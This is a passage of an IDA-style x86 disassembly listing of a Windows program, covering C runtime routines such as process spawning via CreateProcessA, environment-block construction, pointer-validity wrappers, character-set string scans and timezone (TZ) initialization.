loc_42CA22:				; CODE XREF: sub_42C9BF+14j
		mov	esi, [ebp+arg_4]


loc_42CA25:				; CODE XREF: sub_42C9BF+5Aj
					; sub_42C9BF+61j
		and	byte ptr [esi],	0
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, ecx
		pop	ebp
		retn
sub_42C9BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CA33	proc near		; CODE XREF: sub_428E88+3Ap
					; sub_428E88+114p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_63177C, 0
		push	ebx
		push	esi
		jnz	short loc_42CA50
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4233B0
		pop	ecx
		pop	ecx
		jmp	short loc_42CAC6
; ---------------------------------------------------------------------------


loc_42CA50:				; CODE XREF: sub_42CA33+Cj
		push	19h
		call	sub_428436
		mov	esi, [ebp+arg_0]
		pop	ecx


loc_42CA5B:				; CODE XREF: sub_42CA33+60j
		movzx	bx, byte ptr [esi]
		test	bx, bx
		jz	short loc_42CAAE
		movzx	eax, bl
		test	byte_631881[eax], 4
		jz	short loc_42CA8A
		mov	al, [esi+1]
		inc	esi
		test	al, al
		jz	short loc_42CA95
		movzx	ecx, bx
		movzx	eax, al
		shl	ecx, 8
		or	ecx, eax
		cmp	[ebp+arg_4], ecx
		jz	short loc_42CAA1
		jmp	short loc_42CA92
; ---------------------------------------------------------------------------


loc_42CA8A:				; CODE XREF: sub_42CA33+3Bj
		movzx	eax, bx
		cmp	[ebp+arg_4], eax
		jz	short loc_42CAAE


loc_42CA92:				; CODE XREF: sub_42CA33+55j
		inc	esi
		jmp	short loc_42CA5B
; ---------------------------------------------------------------------------


loc_42CA95:				; CODE XREF: sub_42CA33+43j
		push	19h
		call	sub_428497
		pop	ecx
		xor	eax, eax
		jmp	short loc_42CAC6
; ---------------------------------------------------------------------------


loc_42CAA1:				; CODE XREF: sub_42CA33+53j
		push	19h
		call	sub_428497
		pop	ecx
		lea	eax, [esi-1]
		jmp	short loc_42CAC6
; ---------------------------------------------------------------------------


loc_42CAAE:				; CODE XREF: sub_42CA33+2Fj
					; sub_42CA33+5Dj
		push	19h
		call	sub_428497
		mov	eax, [ebp+arg_4]
		pop	ecx
		movzx	ecx, bx
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, esi


loc_42CAC6:				; CODE XREF: sub_42CA33+1Bj
					; sub_42CA33+6Cj ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42CA33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CACA	proc near		; CODE XREF: sub_429136+32p

var_60		= dword	ptr -60h
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		mov	eax, [ebp+arg_0]
		and	[ebp+var_1], 0
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, edi
		mov	[ebp+var_8], edi
		jz	short loc_42CAF8
		cmp	eax, 1
		jz	short loc_42CAF8
		jle	short loc_42CB1A
		cmp	eax, 3
		jle	short loc_42CAF8
		cmp	eax, 4
		jnz	short loc_42CB1A
		mov	[ebp+var_1], 1


loc_42CAF8:				; CODE XREF: sub_42CACA+17j
					; sub_42CACA+1Cj ...
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax


loc_42CAFE:				; CODE XREF: sub_42CACA+47j
					; sub_42CACA+4Ej
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42CB31


loc_42CB04:				; CODE XREF: sub_42CACA+3Ej
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_42CB04
		cmp	byte ptr [eax+1], 0
		lea	ecx, [eax+1]
		jz	short loc_42CAFE
		mov	byte ptr [eax],	20h
		mov	eax, ecx
		jmp	short loc_42CAFE
; ---------------------------------------------------------------------------


loc_42CB1A:				; CODE XREF: sub_42CACA+1Ej
					; sub_42CACA+28j
		call	sub_426528
		mov	dword ptr [eax], 16h
		call	sub_426531
		mov	[eax], edi
		jmp	loc_42CC55
; ---------------------------------------------------------------------------


loc_42CB31:				; CODE XREF: sub_42CACA+38j
		push	44h
		lea	eax, [ebp+var_60]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_4221F0
		mov	[ebp+var_60], esi
		mov	esi, dword_631AE0
		add	esp, 0Ch
		cmp	esi, edi
		jz	short loc_42CB73
		lea	ecx, [esi-1]


loc_42CB52:				; CODE XREF: sub_42CACA+A7j
		mov	edx, ecx
		mov	eax, ecx
		sar	edx, 5
		and	eax, 1Fh
		mov	edx, dword_6319E0[edx*4]
		lea	eax, [eax+eax*8]
		cmp	byte ptr [edx+eax*4+4],	0
		jnz	short loc_42CB73
		dec	esi
		dec	ecx
		cmp	esi, edi
		jnz	short loc_42CB52


loc_42CB73:				; CODE XREF: sub_42CACA+83j
					; sub_42CACA+A1j
		lea	eax, [esi+esi*4+4]
		push	1
		mov	[ebp+var_2E], ax
		movzx	eax, ax
		push	eax
		call	sub_423F63
		mov	[ebp+var_2C], eax
		pop	ecx
		mov	[eax], esi
		mov	eax, [ebp+var_2C]
		pop	ecx
		xor	ebx, ebx
		cmp	esi, edi
		lea	ecx, [eax+4]
		lea	edx, [eax+esi+4]
		jle	short loc_42CBD7


loc_42CB9D:				; CODE XREF: sub_42CACA+106j
		mov	edi, ebx
		mov	eax, ebx
		sar	edi, 5
		and	eax, 1Fh
		mov	edi, dword_6319E0[edi*4]
		lea	eax, [eax+eax*8]
		lea	edi, [edi+eax*4]
		mov	al, [edi+4]
		test	al, 10h
		jnz	short loc_42CBC3
		mov	[ecx], al
		mov	eax, [edi]
		mov	[edx], eax
		jmp	short loc_42CBC9
; ---------------------------------------------------------------------------


loc_42CBC3:				; CODE XREF: sub_42CACA+EFj
		and	byte ptr [ecx],	0
		or	dword ptr [edx], 0FFFFFFFFh


loc_42CBC9:				; CODE XREF: sub_42CACA+F7j
		inc	ebx
		inc	ecx
		add	edx, 4
		cmp	ebx, esi
		jl	short loc_42CB9D
		mov	eax, [ebp+var_2C]
		xor	edi, edi


loc_42CBD7:				; CODE XREF: sub_42CACA+D1j
		cmp	[ebp+var_1], 0
		jz	short loc_42CC0A
		lea	ecx, [eax+4]
		xor	edx, edx
		lea	eax, [eax+esi+4]


loc_42CBE6:				; CODE XREF: sub_42CACA+137j
		cmp	esi, 3
		jge	short loc_42CBEF
		mov	ebx, esi
		jmp	short loc_42CBF2
; ---------------------------------------------------------------------------


loc_42CBEF:				; CODE XREF: sub_42CACA+11Fj
		push	3
		pop	ebx


loc_42CBF2:				; CODE XREF: sub_42CACA+123j
		cmp	edx, ebx
		jge	short loc_42CC03
		and	byte ptr [ecx],	0
		or	dword ptr [eax], 0FFFFFFFFh
		inc	edx
		inc	ecx
		add	eax, 4
		jmp	short loc_42CBE6
; ---------------------------------------------------------------------------


loc_42CC03:				; CODE XREF: sub_42CACA+12Aj
		mov	[ebp+var_8], 8


loc_42CC0A:				; CODE XREF: sub_42CACA+111j
		call	sub_426528
		mov	[eax], edi
		call	sub_426531
		mov	[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_8]
		push	1
		push	edi
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		call	dword_42F078	; CreateProcessA
		mov	esi, eax
		call	dword_42F068	; RtlGetLastWin32Error
		push	[ebp+var_2C]
		mov	ebx, eax
		call	sub_4230B3
		cmp	esi, edi
		pop	ecx
		jnz	short loc_42CC5A
		push	ebx
		call	sub_4264B5
		pop	ecx


loc_42CC55:				; CODE XREF: sub_42CACA+62j
		or	eax, 0FFFFFFFFh
		jmp	short loc_42CCAE
; ---------------------------------------------------------------------------


loc_42CC5A:				; CODE XREF: sub_42CACA+182j
		cmp	[ebp+arg_0], 2
		jnz	short loc_42CC66
		push	edi
		call	sub_4284EA


loc_42CC66:				; CODE XREF: sub_42CACA+194j
		cmp	[ebp+arg_0], edi
		mov	esi, dword_42F038
		jnz	short loc_42CC90
		push	0FFFFFFFFh
		push	[ebp+var_1C]
		call	dword_42F064	; WaitForSingleObject
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+var_1C]
		call	dword_42F0AC	; GetExitCodeProcess
		push	[ebp+var_1C]
		call	esi ; dword_42F038
		jmp	short loc_42CCA6
; ---------------------------------------------------------------------------


loc_42CC90:				; CODE XREF: sub_42CACA+1A5j
		cmp	[ebp+arg_0], 4
		jnz	short loc_42CCA0
		push	[ebp+var_1C]
		call	esi ; dword_42F038
		mov	[ebp+arg_8], edi
		jmp	short loc_42CCA6
; ---------------------------------------------------------------------------


loc_42CCA0:				; CODE XREF: sub_42CACA+1CAj
		mov	eax, [ebp+var_1C]
		mov	[ebp+arg_8], eax


loc_42CCA6:				; CODE XREF: sub_42CACA+1C4j
					; sub_42CACA+1D4j
		push	[ebp+var_18]
		call	esi ; dword_42F038
		mov	eax, [ebp+arg_8]


loc_42CCAE:				; CODE XREF: sub_42CACA+18Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42CACA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CCB3	proc near		; CODE XREF: sub_429136+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2
		pop	esi
		mov	edi, esi


loc_42CCC1:				; CODE XREF: sub_42CCB3+22j
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_42CCD7
		push	eax
		add	ebx, 4
		call	sub_422120
		pop	ecx
		lea	edi, [edi+eax+1]
		jmp	short loc_42CCC1
; ---------------------------------------------------------------------------


loc_42CCD7:				; CODE XREF: sub_42CCB3+12j
		push	edi
		call	sub_422F79
		pop	ecx
		mov	ecx, [ebp+arg_8]
		test	eax, eax
		mov	[ecx], eax
		jnz	short loc_42CCF2
		mov	eax, [ebp+arg_C]
		and	dword ptr [eax], 0
		jmp	loc_42CDD4
; ---------------------------------------------------------------------------


loc_42CCF2:				; CODE XREF: sub_42CCB3+32j
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	short loc_42CD0F


loc_42CCF9:				; CODE XREF: sub_42CCB3+5Aj
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_42CD36
		push	eax
		add	edi, 4
		call	sub_422120
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_42CCF9
; ---------------------------------------------------------------------------


loc_42CD0F:				; CODE XREF: sub_42CCB3+44j
		mov	eax, [ebp+arg_C]
		mov	ebx, [ebp+arg_C]
		mov	edi, [ebp+arg_C]
		and	dword ptr [eax], 0


loc_42CD1B:				; CODE XREF: sub_42CCB3+10Dj
		mov	eax, [ebp+arg_8]
		mov	esi, [eax]
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], eax
		mov	eax, [eax]
		test	eax, eax
		jnz	loc_42CDF2


loc_42CD30:				; CODE XREF: sub_42CCB3+185j
		inc	esi
		jmp	loc_42CE11
; ---------------------------------------------------------------------------


loc_42CD36:				; CODE XREF: sub_42CCB3+4Aj
		mov	eax, dword_6313EC
		test	eax, eax
		jnz	short loc_42CD51
		call	sub_42B533
		test	eax, eax
		mov	dword_6313EC, eax
		jz	loc_42CDEA


loc_42CD51:				; CODE XREF: sub_42CCB3+8Aj
		xor	ebx, ebx
		cmp	[eax], bl
		jz	short loc_42CD7A
		mov	edi, eax
		mov	cl, [edi]


loc_42CD5B:				; CODE XREF: sub_42CCB3+C5j
		cmp	cl, 3Dh
		jz	short loc_42CD7A
		push	edi
		call	sub_422120
		lea	ebx, [ebx+eax+1]
		mov	eax, dword_6313EC
		pop	ecx
		mov	cl, [eax+ebx]
		lea	edi, [eax+ebx]
		test	cl, cl
		jnz	short loc_42CD5B


loc_42CD7A:				; CODE XREF: sub_42CCB3+A2j
					; sub_42CCB3+ABj
		mov	edi, ebx
		add	eax, ebx


loc_42CD7E:				; CODE XREF: sub_42CCB3+F7j
		cmp	byte ptr [eax],	3Dh
		jnz	short loc_42CDAC
		cmp	byte ptr [eax+1], 0
		jz	short loc_42CDAC
		cmp	byte ptr [eax+2], 3Ah
		jnz	short loc_42CDAC
		cmp	byte ptr [eax+3], 3Dh
		jnz	short loc_42CDAC
		add	eax, 4
		push	eax
		call	sub_422120
		lea	edi, [edi+eax+5]
		mov	eax, dword_6313EC
		pop	ecx
		add	eax, edi
		jmp	short loc_42CD7E
; ---------------------------------------------------------------------------


loc_42CDAC:				; CODE XREF: sub_42CCB3+CEj
					; sub_42CCB3+D4j ...
		mov	eax, edi
		sub	eax, ebx
		add	eax, esi
		push	eax
		call	sub_422F79
		pop	ecx
		mov	ecx, [ebp+arg_C]
		test	eax, eax
		mov	[ecx], eax
		jnz	loc_42CD1B
		mov	esi, [ebp+arg_8]
		push	dword ptr [esi]
		call	sub_4230B3
		and	dword ptr [esi], 0
		pop	ecx


loc_42CDD4:				; CODE XREF: sub_42CCB3+3Aj
		call	sub_426528
		mov	dword ptr [eax], 0Ch
		call	sub_426531
		mov	dword ptr [eax], 8


loc_42CDEA:				; CODE XREF: sub_42CCB3+98j
		or	eax, 0FFFFFFFFh
		jmp	loc_42CEB4
; ---------------------------------------------------------------------------


loc_42CDF2:				; CODE XREF: sub_42CCB3+77j
		push	eax
		push	esi
		call	sub_423260
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	eax, 4
		push	ecx
		mov	[ebp+arg_8], eax
		call	sub_422120
		add	esp, 0Ch
		lea	esi, [esi+eax+1]


loc_42CE11:				; CODE XREF: sub_42CCB3+7Ej
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42CE3D
		push	eax
		push	esi
		call	sub_423260
		mov	eax, [ebp+arg_8]
		add	[ebp+arg_8], 4
		mov	eax, [eax]
		push	eax
		call	sub_422120
		add	esp, 0Ch
		add	esi, eax
		mov	byte ptr [esi],	20h
		jmp	loc_42CD30
; ---------------------------------------------------------------------------


loc_42CE3D:				; CODE XREF: sub_42CCB3+165j
		mov	eax, [ebp+arg_C]
		and	byte ptr [esi-1], 0
		and	byte ptr [esi],	0
		cmp	[ebp+arg_4], 0
		mov	esi, [eax]
		jz	short loc_42CE8D
		mov	eax, edi
		sub	eax, ebx
		push	eax
		mov	eax, dword_6313EC
		add	eax, ebx
		push	eax
		push	esi
		call	sub_4223F0
		sub	edi, ebx
		add	esp, 0Ch
		add	esi, edi
		mov	edi, [ebp+arg_4]


loc_42CE6C:				; CODE XREF: sub_42CCB3+1D8j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_42CE8D
		push	eax
		push	esi
		call	sub_423260
		mov	eax, [edi]
		add	edi, 4
		push	eax
		call	sub_422120
		add	esp, 0Ch
		lea	esi, [esi+eax+1]
		jmp	short loc_42CE6C
; ---------------------------------------------------------------------------


loc_42CE8D:				; CODE XREF: sub_42CCB3+19Aj
					; sub_42CCB3+1BDj
		test	esi, esi
		jz	short loc_42CE9F
		mov	eax, [ebp+arg_C]
		cmp	esi, [eax]
		jnz	short loc_42CE9C
		and	byte ptr [esi],	0
		inc	esi


loc_42CE9C:				; CODE XREF: sub_42CCB3+1E3j
		and	byte ptr [esi],	0


loc_42CE9F:				; CODE XREF: sub_42CCB3+1DCj
		push	dword_6313EC
		call	sub_4230B3
		and	dword_6313EC, 0
		pop	ecx
		xor	eax, eax


loc_42CEB4:				; CODE XREF: sub_42CCB3+13Aj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42CCB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CEB9	proc near		; CODE XREF: sub_4291A8+5Ep
					; sub_42E6EF+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_42CEC6
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42CEC6:				; CODE XREF: sub_42CEB9+7j
		push	dword_631768
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_631984
		call	sub_42E2C0
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42CEF3
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42CEF3:				; CODE XREF: sub_42CEB9+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_42CEB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42CEF8	proc near		; CODE XREF: sub_4291A8+1Ep
					; sub_42E568+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_631490
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_42CF59
		mov	ebx, dword_42F0A4


loc_42CF11:				; CODE XREF: sub_42CEF8+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx ; dword_42F0A4
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_42CF61
		push	ebp
		call	sub_422F79
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_42CF61
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx ; dword_42F0A4
		test	eax, eax
		jz	short loc_42CF61
		push	edi
		push	[esp+18h+var_4]
		call	sub_42E568
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_42CF11


loc_42CF59:				; CODE XREF: sub_42CEF8+11j
		xor	eax, eax


loc_42CF5B:				; CODE XREF: sub_42CEF8+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42CF61:				; CODE XREF: sub_42CEF8+29j
					; sub_42CEF8+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_42CF5B
sub_42CEF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42CF66	proc near		; CODE XREF: sub_4292C0+77p
					; sub_4297EE+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_42F16C	; IsBadReadPtr
		test	eax, eax
		jz	short loc_42CF7E
		xor	esi, esi


loc_42CF7E:				; CODE XREF: sub_42CF66+14j
		mov	eax, esi
		pop	esi
		retn
sub_42CF66	endp


; =============== S U B	R O U T	I N E =======================================



sub_42CF82	proc near		; CODE XREF: sub_4297EE+73p
					; sub_4297EE+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_42F1B0	; IsBadWritePtr
		test	eax, eax
		jz	short loc_42CF9A
		xor	esi, esi


loc_42CF9A:				; CODE XREF: sub_42CF82+14j
		mov	eax, esi
		pop	esi
		retn
sub_42CF82	endp


; =============== S U B	R O U T	I N E =======================================



sub_42CF9E	proc near		; CODE XREF: sub_4297EE+15Bp
					; sub_429B43+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_42F168	; IsBadCodePtr
		test	eax, eax
		jz	short loc_42CFB2
		xor	esi, esi


loc_42CFB2:				; CODE XREF: sub_42CF9E+10j
		mov	eax, esi
		pop	esi
		retn
sub_42CF9E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429A8C


loc_42CFB6:				; CODE XREF: sub_429A8C:loc_429AE8j
		push	0Ah
		call	sub_42B69E
		push	16h
		call	sub_42D7FC
		pop	ecx
		pop	ecx
		push	3
		call	sub_4284EA
; END OF FUNCTION CHUNK	FOR sub_429A8C
; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_42CFE4:				; CODE XREF: .text:0042CFEFj
		mov	al, [edx]
		or	al, al
		jz	short loc_42CFF1
		inc	edx
		bts	[esp], eax
		jmp	short loc_42CFE4
; ---------------------------------------------------------------------------


loc_42CFF1:				; CODE XREF: .text:0042CFE8j
		mov	esi, [ebp+8]
		or	ecx, 0FFFFFFFFh
		nop


loc_42CFF8:				; CODE XREF: .text:0042D004j
		inc	ecx
		mov	al, [esi]
		or	al, al
		jz	short loc_42D006
		inc	esi
		bt	[esp], eax
		jnb	short loc_42CFF8


loc_42D006:				; CODE XREF: .text:0042CFFDj
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_42D024:				; CODE XREF: .text:0042D02Fj
		mov	al, [edx]
		or	al, al
		jz	short loc_42D031
		inc	edx
		bts	[esp], eax
		jmp	short loc_42D024
; ---------------------------------------------------------------------------


loc_42D031:				; CODE XREF: .text:0042D028j
		mov	esi, [ebp+8]


loc_42D034:				; CODE XREF: .text:0042D03Fj
		mov	al, [esi]
		or	al, al
		jz	short loc_42D044
		inc	esi
		bt	[esp], eax
		jnb	short loc_42D034
		lea	eax, [esi-1]


loc_42D044:				; CODE XREF: .text:0042D038j
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42D04A	proc near		; CODE XREF: sub_429DCB:loc_429E0Ap
		cmp	dword_631720, 0
		jnz	short locret_42D077
		push	0Bh
		call	sub_428436
		cmp	dword_631720, 0
		pop	ecx
		jnz	short loc_42D06F
		call	sub_42D078
		inc	dword_631720


loc_42D06F:				; CODE XREF: sub_42D04A+18j
		push	0Bh
		call	sub_428497
		pop	ecx

locret_42D077:				; CODE XREF: sub_42D04A+7j
		retn
sub_42D04A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D078	proc near		; CODE XREF: sub_42D04A+1Ap

var_18		= dword	ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	0Ch
		pop	edi
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_8], ebx
		call	sub_428436
		or	dword_44C0B8, 0FFFFFFFFh
		or	dword_44C0A8, 0FFFFFFFFh
		mov	dword_631668, ebx
		mov	[esp+18h+var_18], offset aTz ; "TZ"
		call	sub_4291A8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	loc_42D1B6
		push	edi
		call	sub_428497
		mov	[esp+18h+var_18], offset dword_631670
		call	dword_42F204	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	loc_42D2FA
		mov	eax, dword_631670
		mov	ecx, dword_6316C4
		imul	eax, 3Ch
		cmp	word_6316B6, bx
		push	1
		pop	edx
		mov	dword_44C010, eax
		mov	dword_631668, edx
		jz	short loc_42D106
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_44C010, eax


loc_42D106:				; CODE XREF: sub_42D078+80j
		cmp	word_63170A, bx
		jz	short loc_42D12A
		mov	eax, dword_631718
		cmp	eax, ebx
		jz	short loc_42D12A
		sub	eax, ecx
		mov	dword_44C014, edx
		imul	eax, 3Ch
		mov	dword_44C018, eax
		jmp	short loc_42D136
; ---------------------------------------------------------------------------


loc_42D12A:				; CODE XREF: sub_42D078+95j
					; sub_42D078+9Ej
		mov	dword_44C014, ebx
		mov	dword_44C018, ebx


loc_42D136:				; CODE XREF: sub_42D078+B0j
		lea	eax, [ebp+var_4]
		mov	esi, dword_42F0A4
		push	eax
		push	ebx
		push	3Fh
		mov	edi, 220h
		push	off_44C09C
		push	0FFFFFFFFh
		push	offset dword_631674
		push	edi
		push	dword_6314D8
		call	esi ; dword_42F0A4
		test	eax, eax
		jz	short loc_42D172
		cmp	[ebp+var_4], ebx
		jnz	short loc_42D172
		mov	eax, off_44C09C
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_42D17A
; ---------------------------------------------------------------------------


loc_42D172:				; CODE XREF: sub_42D078+E8j
					; sub_42D078+EDj
		mov	eax, off_44C09C
		and	byte ptr [eax],	0


loc_42D17A:				; CODE XREF: sub_42D078+F8j
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	3Fh
		push	off_44C0A0
		push	0FFFFFFFFh
		push	offset dword_6316C8
		push	edi
		push	dword_6314D8
		call	esi ; dword_42F0A4
		test	eax, eax
		jz	loc_42D2E9
		cmp	[ebp+var_4], ebx
		jnz	loc_42D2E9
		mov	eax, off_44C0A0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_42D2FA
; ---------------------------------------------------------------------------


loc_42D1B6:				; CODE XREF: sub_42D078+3Bj
		cmp	byte ptr [esi],	0
		jz	loc_42D2F3
		mov	eax, dword_63171C
		cmp	eax, ebx
		jz	short loc_42D1D9
		push	eax
		push	esi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42D2F3


loc_42D1D9:				; CODE XREF: sub_42D078+14Ej
		push	dword_63171C
		call	sub_4230B3
		push	esi
		call	sub_422120
		inc	eax
		push	eax
		call	sub_422F79
		add	esp, 0Ch
		cmp	eax, ebx
		mov	dword_63171C, eax
		jz	loc_42D2F3
		push	esi
		push	eax
		call	sub_423260
		push	edi
		call	sub_428497
		push	3
		push	esi
		push	off_44C09C
		call	sub_4222F0
		mov	eax, off_44C09C
		add	esi, 3
		add	esp, 18h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42D238
		mov	[ebp+var_8], 1
		inc	esi


loc_42D238:				; CODE XREF: sub_42D078+1B6j
		push	esi
		call	sub_422ACF
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_44C010, ecx


loc_42D24F:				; CODE XREF: sub_42D078+1E6j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_42D25D
		cmp	al, bl
		jl	short loc_42D260
		cmp	al, 39h
		jg	short loc_42D260


loc_42D25D:				; CODE XREF: sub_42D078+1DBj
		inc	esi
		jmp	short loc_42D24F
; ---------------------------------------------------------------------------


loc_42D260:				; CODE XREF: sub_42D078+1DFj
					; sub_42D078+1E3j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_42D2B3
		inc	esi
		push	esi
		call	sub_422ACF
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_44C010
		add	ecx, eax
		mov	dword_44C010, ecx


loc_42D27E:				; CODE XREF: sub_42D078+211j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_42D28B
		cmp	al, 39h
		jg	short loc_42D28B
		inc	esi
		jmp	short loc_42D27E
; ---------------------------------------------------------------------------


loc_42D28B:				; CODE XREF: sub_42D078+20Aj
					; sub_42D078+20Ej
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_42D2B3
		inc	esi
		push	esi
		call	sub_422ACF
		pop	ecx
		mov	ecx, dword_44C010
		add	ecx, eax
		mov	dword_44C010, ecx


loc_42D2A6:				; CODE XREF: sub_42D078+239j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_42D2B3
		cmp	al, 39h
		jg	short loc_42D2B3
		inc	esi
		jmp	short loc_42D2A6
; ---------------------------------------------------------------------------


loc_42D2B3:				; CODE XREF: sub_42D078+1EBj
					; sub_42D078+216j ...
		cmp	[ebp+var_8], 0
		jz	short loc_42D2C1
		neg	ecx
		mov	dword_44C010, ecx


loc_42D2C1:				; CODE XREF: sub_42D078+23Fj
		movsx	eax, byte ptr [esi]
		test	eax, eax
		mov	dword_44C014, eax
		jz	short loc_42D2E9
		push	3
		push	esi
		push	off_44C0A0
		call	sub_4222F0
		mov	eax, off_44C0A0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_42D2FA
; ---------------------------------------------------------------------------


loc_42D2E9:				; CODE XREF: sub_42D078+121j
					; sub_42D078+12Aj ...
		mov	eax, off_44C0A0
		and	byte ptr [eax],	0
		jmp	short loc_42D2FA
; ---------------------------------------------------------------------------


loc_42D2F3:				; CODE XREF: sub_42D078+141j
					; sub_42D078+15Bj ...
		push	edi
		call	sub_428497
		pop	ecx


loc_42D2FA:				; CODE XREF: sub_42D078+57j
					; sub_42D078+139j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42D078	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D2FF	proc near		; CODE XREF: sub_429DCB+A5p

arg_0		= dword	ptr  4

		push	esi
		push	0Bh
		call	sub_428436
		push	[esp+8+arg_0]
